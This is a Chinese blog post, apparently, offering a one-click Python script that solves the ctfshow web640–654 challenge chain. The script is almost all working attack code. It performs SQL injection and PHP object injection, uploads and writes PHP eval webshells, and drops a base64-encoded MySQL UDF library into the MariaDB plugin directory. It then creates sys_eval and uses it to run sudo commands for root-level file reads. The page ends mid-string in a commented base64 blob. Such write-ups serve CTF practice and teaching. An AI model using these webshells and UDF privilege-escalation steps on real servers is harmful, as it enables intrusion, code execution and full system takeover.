IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow终极考核(一键通关脚本) -> 正文阅读

[PHP知识库]ctfshow终极考核(一键通关脚本)

由于某些原因,可能会出现失败的情况,这时候需要重新开个靶机。

import requests
import re
import time
import base64
import urllib

url="http://f1439852-cccf-43e8-a496-fdfe1c9eebd9.challenge.ctf.show/"
sess=requests.session()
#web640
print(re.findall('flag.*?=ctfshow{.*?}',requests.get(url).text)[0])
#web641
print(sess.get(url).headers['Flag'])

#web642
print(re.findall('flag.*?=ctfshow{.*?}',sess.get(url+'system36d').text)[0])

#web643
sess.get(url+'system36d/checklogin.php?s=10')
print(urllib.parse.unquote(sess.get(url+'system36d/secret.txt').text))

#web644
print(re.findall('flag.*?=ctfshow{.*?}',sess.get(url+'system36d/static/js/lock/index.js').text)[0])

#web645
print(re.findall('flag.*?=ctfshow{.*?}',sess.get(url+'system36d/users.php?action=backup').text)[0])

#web646
print(re.findall('flag.*?=ctfshow{.*?}',sess.get(url+'system36d/users.php?action=remoteUpdate&auth=ctfshow{28b00f799c2e059bafaa1d6bda138d89}&update_address=init.php').text)[1])

#web647
print(re.findall('flag.*?=ctfshow{.*?}',sess.get(url+'system36d/users.php?action=evilString&m=session_id',headers={'Cookie':'PHPSESSID=372619038'}).text)[0])

#web648
print(re.findall('flag.*?=ctfshow{.*?}',sess.get(url+'system36d/users.php?action=evilClass&m=1&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}',headers={'Cookie':'PHPSESSID=372619038'}).text)[0])
#web649

u=url+"system36d/users.php?action=evilNumber&m=18&key=flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}"
while True:
    r=requests.get(u)
    if "ctf" in r.text:
        print(r.text)
        break


#web650
print(sess.get(url+'system36d/users.php?action=evilFunction&m=session_id&key=flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}',headers={'Cookie':'PHPSESSID=ffffffff'}).text)

#web651
'''
<?php
class a{
    public $username='123';
    public $x="ctfshow";
}
$a=new a();
echo serialize($a);
'''

print(sess.get(url+'system36d/users.php?action=evilArray&m=O:1:"a":2:{s:8:"username";s:3:"123";s:7:"ctfshow";s:7:"ctfshow";}&key=flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}',headers={'Cookie':'PHPSESSID=ffffffff'}).text)

#web652
print(re.findall('flag.*?=ctfshow{.*?}',sess.get(url+'page.php?id=0) union select secret from ctfshow_secret%23').text)[0])


#模拟数据备份
files={'file':('1.dat',"<?php eval($_POST[1]);echo 123;?>","application/ms-tnef")} 

#生成木马
sess.post(url+"system36d/users.php?action=upload",files=files)
data1={"key":"key_is_here_you_know","file":"../db/data_you_never_know.db","1":"file_put_contents('a.php','<?php eval($_POST[1]);?>');"}
sess.post(url+'system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}',data=data1)

#web653
print(sess.post(url+"system36d/util/a.php",data={'1':'echo `cat /s*`;'}).text)
#写入木马
sess.post(url+"system36d/util/a.php",data={'1':'file_put_contents("/var/www/html/1.php","<?php eval(\$_POST[1]);?>");'})


#udf提权
data2={'1':'''`echo "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" > /tmp/a.so;cat  /tmp/a.so|base64 -d > /usr/lib/mariadb/plugin/b.so`;
'''}
sess.post(url+"1.php",data=data2)
sess.post(url+"1.php",data={'1':'`mysql -uroot -proot -e "create function sys_eval returns string soname \'b.so\'"`;'})
cmd='''mysql -uroot -proot -e "select sys_eval('sudo cat /root/you_win')"'''
cmd=base64.b64encode(cmd.encode()).decode()
datax={'1':'echo `echo {0}|base64 -d|sh`;'.format(cmd)}
# web654
print(re.findall('flag_.*?=ctfshow{.*?}',sess.post(url+"1.php",data=datax).text)[0])

#udf提权
#sess.post(url+"1.php",data={'1':'`echo W1BIUF0KCjs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKOyBBYm91dCBwaHAuaW5pICAgOwo7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7CjsgUEhQJmFwb3M7cyBpbml0aWFsaXphdGlvbiBmaWxlLCBnZW5lcmFsbHkgY2FsbGVkIHBocC5pbmksIGlzIHJlc3BvbnNpYmxlIGZvcgo7IGNvbmZpZ3VyaW5nIG1hbnkgb2YgdGhlIGFzcGVjdHMgb2YgUEhQJmFwb3M7cyBiZWhhdmlvci4KCjsgUEhQIGF0dGVtcHRzIHRvIGZpbmQgYW5kIGxvYWQgdGhpcyBjb25maWd1cmF0aW9uIGZyb20gYSBudW1iZXIgb2YgbG9jYXRpb25zLgo7IFRoZSBmb2xsb3dpbmcgaXMgYSBzdW1tYXJ5IG9mIGl0cyBzZWFyY2ggb3JkZXI6CjsgMS4gU0FQSSBtb2R1bGUgc3BlY2lmaWMgbG9jYXRpb24uCjsgMi4gVGhlIFBIUFJDIGVudmlyb25tZW50IHZhcmlhYmxlLiAoQXMgb2YgUEhQIDUuMi4wKQo7IDMuIEEgbnVtYmVyIG9mIHByZWRlZmluZWQgcmVnaXN0cnkga2V5cyBvbiBXaW5kb3dzIChBcyBvZiBQSFAgNS4yLjApCjsgNC4gQ3VycmVudCB3b3JraW5nIGRpcmVjdG9yeSAoZXhjZXB0IENMSSkKOyA1LiBUaGUgd2ViIHNlcnZlciZhcG9zO3MgZGlyZWN0b3J5IChmb3IgU0FQSSBtb2R1bGVzKSwgb3IgZGlyZWN0b3J5IG9mIFBIUAo7IChvdGhlcndpc2UgaW4gV2luZG93cykKOyA2LiBUaGUgZGlyZWN0b3J5IGZyb20gdGhlIC0td2l0aC1jb25maWctZmlsZS1wYXRoIGNvbXBpbGUgdGltZSBvcHRpb24sIG9yIHRoZQo7IFdpbmRvd3MgZGlyZWN0b3J5ICh1c3VhbGx5IEM6XHdpbmRvd3MpCjsgU2VlIHRoZSBQSFAgZG9jcyBmb3IgbW9yZSBzcGVjaWZpYyBpbmZvcm1hdGlvbi4KOyBodHRwOi8vcGhwLm5ldC9jb25maWd1cmF0aW9uLmZpbGUKCjsgVGhlIHN5bnRheCBvZiB0aGUgZmlsZSBpcyBleHRyZW1lbHkgc2ltcGxlLiAgV2hpdGVzcGFjZSBhbmQgbGluZXMKOyBiZWdpbm5pbmcgd2l0aCBhIHNlbWljb2xvbiBhcmUgc2lsZW50bHkgaWdub3JlZCAoYXMgeW91IHByb2JhYmx5IGd1ZXNzZWQpLgo7IFNlY3Rpb24gaGVhZGVycyAoZS5nLiBbRm9vXSkgYXJlIGFsc28gc2lsZW50bHkgaWdub3JlZCwgZXZlbiB0aG91Z2gKOyB0aGV5IG1pZ2h0IG1lYW4gc29tZXRoaW5nIGluIHRoZSBmdXR1cmUuCgo7IERpcmVjdGl2ZXMgZm9sbG93aW5nIHRoZSBzZWN0aW9uIGhlYWRpbmcgW1BBVEg9L3d3dy9teXNpdGVdIG9ubHkKOyBhcHBseSB0byBQSFAgZmlsZXMgaW4gdGhlIC93d3cvbXlzaXRlIGRpcmVjdG9yeS4gIERpcmVjdGl2ZXMKOyBmb2xsb3dpbmcgdGhlIHNlY3Rpb24gaGVhZGluZyBbSE9TVD13d3cuZXhhbXBsZS5jb21dIG9ubHkgYXBwbHkgdG8KOyBQSFAgZmlsZXMgc2VydmVkIGZyb20gd3d3LmV4YW1wbGUuY29tLiAgRGlyZWN0aXZlcyBzZXQgaW4gdGhlc2UKOyBzcGVjaWFsIHNlY3Rpb25zIGNhbm5vdCBiZSBvdmVycmlkZGVuIGJ5IHVzZXItZGVmaW5lZCBJTkkgZmlsZXMgb3IKOyBhdCBydW50aW1lLiBDdXJyZW50bHksIFtQQVRIPV0gYW5kIFtIT1NUPV0gc2VjdGlvbnMgb25seSB3b3JrIHVuZGVyCjsgQ0dJL0Zhc3RDR0kuCjsgaHR0cDovL3BocC5uZXQvaW5pLnNlY3Rpb25zCgo7IERpcmVjdGl2ZXMgYXJlIHNwZWNpZmllZCB1c2luZyB0aGUgZm9sbG93aW5nIHN5bnRheDoKOyBkaXJlY3RpdmUgPSB2YWx1ZQo7IERpcmVjdGl2ZSBuYW1lcyBhcmUgKmNhc2Ugc2Vuc2l0aXZlKiAtIGZvbz1iYXIgaXMgZGlmZmVyZW50IGZyb20gRk9PPWJhci4KOyBEaXJlY3RpdmVzIGFyZSB2YXJpYWJsZXMgdXNlZCB0byBjb25maWd1cmUgUEhQIG9yIFBIUCBleHRlbnNpb25zLgo7IFRoZXJlIGlzIG5vIG5hbWUgdmFsaWRhdGlvbi4gIElmIFBIUCBjYW4mYXBvczt0IGZpbmQgYW4gZXhwZWN0ZWQKOyBkaXJlY3RpdmUgYmVjYXVzZSBpdCBpcyBub3Qgc2V0IG9yIGlzIG1pc3R5cGVkLCBhIGRlZmF1bHQgdmFsdWUgd2lsbCBiZSB1c2VkLgoKOyBUaGUgdmFsdWUgY2FuIGJlIGEgc3RyaW5nLCBhIG51bWJlciwgYSBQSFAgY29uc3RhbnQgKGUuZy4gRV9BTEwgb3IgTV9QSSksIG9uZQo7IG9mIHRoZSB